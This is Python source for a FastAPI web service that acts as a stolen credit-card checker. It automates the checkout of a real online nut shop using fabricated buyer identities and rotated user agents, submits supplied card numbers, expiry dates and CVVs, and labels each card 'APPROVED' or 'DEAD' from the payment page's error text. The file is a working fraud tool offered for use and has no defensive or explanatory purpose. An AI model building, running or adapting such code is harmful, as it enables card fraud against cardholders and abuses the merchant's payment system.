from fastapi import FastAPI, HTTPException, Request from pydantic import BaseModel import requests import random import string from bs4 import BeautifulSoup from fastapi.middleware.cors import CORSMiddleware app = FastAPI() # Enable CORS app.add_middleware( CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) class CardData(BaseModel): card: str def generate_random_user_agent(): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' ] return random.choice(user_agents) def generate_random_email(): providers = ['gmail.com', 'hotmail.com', 'yahoo.com', 'outlook.com'] first_name = ''.join(random.choices(string.ascii_lowercase, k=5)) last_name = ''.join(random.choices(string.ascii_lowercase, k=5)) provider = random.choice(providers) return f"{first_name}.{last_name}@{provider}" def generate_random_name(): first_names = ['John', 'Jane', 'Michael', 'Emily', 'David', 'Sarah', 'Robert', 'Jennifer', 'William', 'Lisa'] last_names = ['Smith', 'Johnson', 'Williams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilson'] return random.choice(first_names), random.choice(last_names) def generate_random_address(): streets = ['Main St', 'Elm St', 'Oak St', 'Pine St', 'Maple St', 'Cedar St', 'Birch St', 'Spruce St', 'Willow St', 'Ash St'] cities = ['New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'Philadelphia', 'San Antonio', 'San Diego', 'Dallas', 'San Jose'] states = ['WA', 'CA', 'NY', 'TX', 'FL', 'IL', 'PA', 'OH', 'GA', 'NC'] return { 'street': f"{random.randint(100, 999)} {random.choice(streets)}", 'city': random.choice(cities), 'state': random.choice(states), 'zip': f"{random.randint(10000, 99999)}", 'phone': f"{random.randint(100, 999)}-{random.randint(100, 999)}-{random.randint(1000, 9999)}" } @app.post("/v1/check") async def check_card(card_data: CardData): try: cc, mes, ano, cvv = card_data.card.split('|') except ValueError: raise HTTPException(status_code=400, detail="Invalid card format. Expected format: cc|mm|yy|cvv") session = requests.Session() user_agent = generate_random_user_agent() email = generate_random_email() first_name, last_name = generate_random_name() address = generate_random_address() headers = { 'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Language': 'es-ES,es;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'https://shop.kingnut.com', 'Referer': 'https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', } try: # Step 1: Get initial page response = session.get('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers) soup = BeautifulSoup(response.text, 'html.parser') viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] # Step 2: Add to cart data = { 'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$BuyProductPanel|ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton', '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': viewstategenerator, '__VIEWSTATEENCRYPTED': '', 'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$OurPrice$VS': 'YM9lQs4ZXe+144hEXt1LZxGhbSdorF50XSGyaTltBhynkcFMgr6rPIen6WbDwxj2', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$Quantity': '1', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl00$Thumbnail$ProductPrice$VS': '/qPrGI2MxnZ0OuZZF/+4iH+771CLv/7ypKh6vaTn7dc2IOZiN8/J39M5gLB7ny4', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl01$Thumbnail$ProductPrice$VS': 'fGzB9Ll1QkfqewAYcVoiEPsU1uT8iDT4ALT1rwn0l3LFAv3vvUY26qj+cvTbxKzB', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl02$Thumbnail$ProductPrice$VS': 'DDVMl97O2ycn0iMjMVXU2ohwPh214YdYKc/uf17FeR5n0ZkIZEAD3dH0uZT+zk6m', 'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$Name': '', 'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FromEmail': '', 'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FriendEmail': '', 'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '', '__ASYNCPOST': 'true', 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton': '+ Add to Cart' } response = session.post('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers, data=data) # Step 3: Proceed to checkout response = session.get('https://shop.kingnut.com/Basket.aspx', headers=headers) soup = BeautifulSoup(response.text, 'html.parser') viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] data = { 'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$BasketPanel|ctl00$ctl00$NestedMaster$PageContent$CheckoutButton', '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__LASTFOCUS': '', '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': viewstategenerator, '__VIEWSTATEENCRYPTED': '', 'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', 'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', 'ctl00$ctl00$NestedMaster$PageContent$BasketGrid$ctl02$Quantity': '1', 'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Country': 'US', 'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Province': '', 'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$PostalCode': '', 'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '', '__ASYNCPOST': 'true', 'ctl00$ctl00$NestedMaster$PageContent$CheckoutButton': 'Checkout >>' } response = session.post('https://shop.kingnut.com/Basket.aspx', headers=headers, data=data) # Step 4: Fill in billing address response = session.get('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers) soup = BeautifulSoup(response.text, 'html.parser') viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] data = { '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__LASTFOCUS': '', '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': viewstategenerator, 'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', 'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', 'ctl00$ctl00$NestedMaster$PageContent$UserName': email, 'ctl00$ctl00$NestedMaster$PageContent$Password': '407d25146b14', 'ctl00$ctl00$NestedMaster$PageContent$ConfirmPassword': '407d25146b14', 'ctl00$ctl00$NestedMaster$PageContent$FirstName': first_name, 'ctl00$ctl00$NestedMaster$PageContent$LastName': last_name, 'ctl00$ctl00$NestedMaster$PageContent$Company': last_name, 'ctl00$ctl00$NestedMaster$PageContent$Address1': address['street'], 'ctl00$ctl00$NestedMaster$PageContent$Address2': '', 'ctl00$ctl00$NestedMaster$PageContent$City': address['city'], 'ctl00$ctl00$NestedMaster$PageContent$Country': 'US', 'ctl00$ctl00$NestedMaster$PageContent$Province2': address['state'], 'ctl00$ctl00$NestedMaster$PageContent$PostalCode': address['zip'], 'ctl00$ctl00$NestedMaster$PageContent$Telephone': address['phone'], 'ctl00$ctl00$NestedMaster$PageContent$Fax': '', 'ctl00$ctl00$NestedMaster$PageContent$IsBusinessAddress': 'on', 'ctl00$ctl00$NestedMaster$PageContent$ShipToOption': 'SHIP_TO_BILLING_ADDRESS', 'ctl00$ctl00$NestedMaster$PageContent$ShippingContinueButton': 'Continue Checkout >>', 'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Country': 'US', 'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Province': '', 'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$PostalCode': '', 'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '' } response = session.post('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers, data=data) # Step 5: Select shipping method soup = BeautifulSoup(response.text, 'html.parser') viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] data = { '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__LASTFOCUS': '', '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': viewstategenerator, 'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', 'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', 'ctl00$ctl00$NestedMaster$PageContent$ContinueButton': 'Continue >>', 'txt_DefaultGiftMsg': '', 'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMethodsList': '9', 'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMessage': '', 'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email } response = session.post('https://shop.kingnut.com/Checkout/ShipMethod.aspx', headers=headers, data=data) # Step 6: Enter payment details soup = BeautifulSoup(response.text, 'html.parser') viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value'] viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value'] card_type = {'4': '1', '5': '2', '6': '4', '3': '3'}.get(cc[0], '1') data = { 'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$PaymentAjax|ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton', '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': viewstategenerator, 'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1', 'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '', 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CouponCode': '', 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardType': card_type, 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardName': f'{first_name} {last_name}', 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardNumber': cc, 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationMonth': mes, 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationYear': ano, 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$SecurityCode': cvv, 'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email, '__ASYNCPOST': 'true', 'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton': 'Processing...' } response = session.post('https://shop.kingnut.com/Checkout/Payment.aspx', headers=headers, data=data) # Check the response if 'CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number.' in response.text: status = "APPROVED ✅" response_text = "CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number." elif 'Incorrect credit card expiration date.' in response.text: status = "Rejected! 🔴" response_text = "Card Declined 🔴" elif 'Your order is confirmed' in response.text: status = "Approved!🟩" response_text = "Your order is confirmed(39$)🟩" else: status = "DECLINED #DEAD ❌" response_text = "Unknown error" return { 'status': status, 'response': response_text, 'card': card_data.card } except Exception as e: raise HTTPException(status_code=500, detail=str(e)) if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8000)